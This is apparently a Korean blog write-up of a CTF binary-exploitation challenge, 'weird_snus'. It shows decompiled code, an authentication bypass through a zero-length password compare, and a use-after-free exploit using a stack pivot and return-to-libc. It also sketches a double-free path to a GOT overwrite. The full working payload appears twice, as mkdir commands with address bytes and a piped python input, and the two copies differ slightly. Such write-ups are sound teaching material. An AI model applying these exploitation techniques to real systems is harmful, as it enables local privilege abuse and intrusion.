2위 브릭쓰루찍어서 기분 좋은 문제.
아주 간단한 UAF인데 인자를 조작하기위해서 스택을 띄우는 코드를 썼다.
익스플로잇은 아래와 같다.
mkdir "/tmp/aaa"
mkdir `python -c 'print "/tmp/aaa\xf0/"'`
mkdir `python -c 'print "/tmp/aaa\xf0/\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08"'`
(python -c 'print "\x00";print "hello";print "D";print("/tmp/aaa\xf0\x2f\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08");print "A";print "M";print "G\x10\x00\x00\x00";print "A"';cat)|./weird_snus \(
중간에 / 문자가 들어가서 mkdir을 세번해줬다..
로컬 익스플로잇이다. 제공된 ssh계정으로 접속해서 /home/strongest_snus/로 이동했다. 여기에 바이너리가 있었다.
admin_password는 실행파일에서 쓰는 로그인용 패스워드고 flag는 키값이다. 오예!
일단 인증 루틴이 있다.
먼저 인증을 우회해보자.
0804910E 에서는 argv[1]을 복사한 값을(최대 250자, bof는 안일어난다) 인자로 받아서 인증을 따른다.
이 함수에 있는 취약점은 "인증 우회"이다.
함수를 살펴보자.
argv는 argv[1] 이다.
argv를 돌면서 ( 문자나 ) 문자가 나온다면 패스워드 20자를 파일에서 읽고 입력값 20자를 표준 입력으로 받아서 우리가 실행 후 직접 쳐주면 우리가 친 패스워드의 길이만큼 비교해준다.
아하, 길이가 0이면 그냥 비교를 안하고 넘어가는구나!
이렇게 해보자! ( 괄호 문자를 argv에 넣으려면 \를 앞에 붙여야 된다. 안그러면 sh 문법 오류 난다. )
참고할 사항은 fgets는 뒤에 \n(한줄 띄움 문자)까지 저장하니까 그냥 직접 입력하면 이거 우회 못한다. 20자 다 입력해야되므로..
$ python -c 'print "\x00"'|./weird_snus \(
Hi, you've got here.. What's your name? : Welcome, !
size_t __cdecl sub_804910E(const char *argv)
{
size_t v1; // eax@4
size_t result; // eax@9
size_t i; // [sp+14h] [bp-224h]@1
FILE *stream; // [sp+18h] [bp-220h]@4
char s1; // [sp+1Ch] [bp-21Ch]@1
char s2; // [sp+11Ch] [bp-11Ch]@1
int v7; // [sp+21Ch] [bp-1Ch]@1
v7 = *MK_FP(__GS__, 20);
memset(&s1, 0, 0x100u);
memset(&s2, 0, 0x100u);
for ( i = 0; ; ++i )
{
result = strlen(argv);
if ( i >= result )
break;
if ( argv[i] == '(' || argv[i] == ')' )
{
stream = fopen("/home/strongest_snus/admin_passwd", "r");
fgets(&s1, 20, stream);
fgets(&s2, 20, stdin);
v1 = strlen(&s2);
if ( memcmp(&s1, &s2, v1) )
{
puts("No match");
exit(0);
}
isAdmin = 1;
fclose(stream);
}
}
if ( *MK_FP(__GS__, 20) != v7 )
__stack_chk_fail();
return result;
}
인증을 잘 우회한 것 같다.
이제 다음 루틴으로 가보자. 다음 루틴은 8048952이다.
signed int __cdecl sub_8048952(const char *dest)
{
signed int result; // eax@26
const char v2; // [sp+10h] [bp-28h]@0
unsigned __int8 v3; // [sp+11h] [bp-27h]@7
const char v4; // [sp+11h] [bp-27h]@12
char v5; // [sp+13h] [bp-25h]@16
signed int i; // [sp+14h] [bp-24h]@3
char *src; // [sp+18h] [bp-20h]@0
signed int v8; // [sp+1Ch] [bp-1Ch]@1
signed int v9; // [sp+20h] [bp-18h]@1
signed int v10; // [sp+24h] [bp-14h]@1
signed int j; // [sp+28h] [bp-10h]@16
size_t v12; // [sp+2Ch] [bp-Ch]@1
v12 = strlen(dest);
v8 = 0;
v9 = 0;
v10 = 0;
if ( (signed int)v12 > 240 )
exit(0);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= (signed int)v12 )
break;
switch ( dest[i] )
{
case 'X':
case 'x':
if ( v8 )
exit(0);
v3 = dest[i + 1];
if ( (char)v3 > 64 )
exit(0);
v2 = dest[i + 1];
src = (char *)malloc(v3);
++i;
v8 = 1;
break;
case 'Y':
case 'y':
if ( v9 )
exit(0);
v4 = dest[i + 1];
if ( v4 > 64 )
exit(0);
if ( v4 > (unsigned __int8)v2 )
exit(0);
v5 = dest[i + 2];
for ( j = 0; (unsigned __int8)v4 > j; ++j )
src[j] = v5;
i += 2;
v9 = 1;
break;
case 'Z':
case 'z':
if ( v10 )
exit(0);
free(src);
v10 = 1;
break;
case 'Q':
case 'q':
strcpy((char *)dest, src);
break;
case '(':
case ')':
isAdmin = 1;
sub_8048C43();
return result;
default:
continue;
}
}
return result;
}
아래의 "한 줄"은 아직 안해본 방법이니까 그냥 넘긴다.
uaf, double-free 버그가 있는 코드이다. 하지만 이건 안쓸거다. 뒤에 유용한 uaf 트리거할 수 있는 부분이 있다.
일단 이 함수만으로 해보려면 malloc을 하게 해주는 x(X) 명령어(뒤의 1바이트는 malloc size)를 호출해준 뒤 z(Z)명령어를 호출해서 free해주고 y명령어(뒤의 1바이트는 문자열 길이)로 뭘 써주면 힙오버플로우도 잘 날뿐 만 아니라 malloc 흐름도 조작 가능한다. double-free bug에 대해 찾으면 잘 나올 것이다. 그렇다면 GOT를 overwrite시켜서 다음 루틴에서 실행시키는 printf를 execl 등으로 돌려서 내가 원하는 명령어를 실행시킬 수 있다.
대회 중에는 이렇게 안했다.
일단 08048C43 주소로 가본다. "(", ")" 명령어를 쓰면 된다. 아까 ( ~ ) 명령어를 이미 인증할 때 썼으므로 이건 자연스레 호출이 될것이다.
오, 아주 uaf취약점을 공략하기 쉬운듯하다.
일단 dest변수에다가 'malloc'(16)한 값을 집어넣으려면 A 명령어를 쳐서 넣어야되고 free를 그쪽에 호출하려면 다시 명령어를 'M'으로 친다면 free -> malloc->free를 다시 해준다. 그다음에 우리가 malloc시켜서 원하는 값을 집어 넣을수 있는 부분인 'G'명령어를 친 뒤 다음 4바이트에 malloc을 할 크기를 지정한 후 readfileTostack함수(8048812)를 실행시켜서 파일을 스택에다가 읽게 시킨다.
아래는 readfileTostack 함수이다.
int __cdecl readfileTostack(char *a1, unsigned int a2)
{
char *v2; // ST24_4@4
int result; // eax@8
FILE *stream; // [sp+28h] [bp-110h]@4
char s[256]; // [sp+2Ch] [bp-10Ch]@4
int v6; // [sp+12Ch] [bp-Ch]@1
v6 = *MK_FP(__GS__, 20);
if ( a1 )
{
getcwd(a1, 1023u);
}
else
{
if ( a2 > 0xF0 )
exit(0);
v2 = getcwd(a1, a2 + 1);
snprintf(s, 250u, "%s/key", v2);
stream = fopen(s, "rb");
if ( !stream )
exit(0);
memset(s, 0, 4u);
fgets(s, 30, stream);
fclose(stream);
}
result = *MK_FP(__GS__, 20) ^ v6;
if ( *MK_FP(__GS__, 20) != v6 )
__stack_chk_fail();
return result;
}
a1(malloc에서 반환한 주소이다)에다가 현재 디렉토리 위치를 읽어준 뒤 a2만큼 받아온다. (a2는 앞의 루틴에 있던 경로 변경에서 지정되는 경로의 길이 또는 1023이다 - 경로 변경을 실행 안했으면 1023으로 넘겨준다)
일단 그래서 uaf로 내가 원하는 함수에다가 인자가 하나 들어간 상태(10)로 실행이 가능하다.
근데 인자 조작해서 rtl을 하고싶어서 일단 stacklift 그러니까 add esp, 300 -> pppr 페이로드로 먼저 점프를 시켰다. 그다음 chdir을 호출하는부분에서 저장한 버퍼(물론 경로도 있어야된다)로 스택을 옮긴 뒤 리턴시키게 했다.
그래서 페이로드는 아래와 같다.
mkdir "/tmp/aaa"
mkdir `python -c 'print "/tmp/aaa/\xf0/"'`
mkdir `python -c 'print "/tmp/aaa/\xf0/\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08"'`
(python -c 'print "\x00";print "hello";print "D";print("/tmp/aaa\xf0\x2f\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08");print "A";print "M";print "G\x10\x00\x00\x00";print "A"';cat)|./weird_snus \(
테스트하고싶다면 그냥 "aaa"부분만 다르게 바꿔주자.
'writeup' 카테고리의 다른 글
Codegate 2014 weirdshark 포렌식 문제 풀이 (0) | 2014.02.24 |
---|---|
hischall 2013 hatehexray 헥스레이 디컴파일이 안되는 이유 + 되게 하는 법 (4) | 2014.02.20 |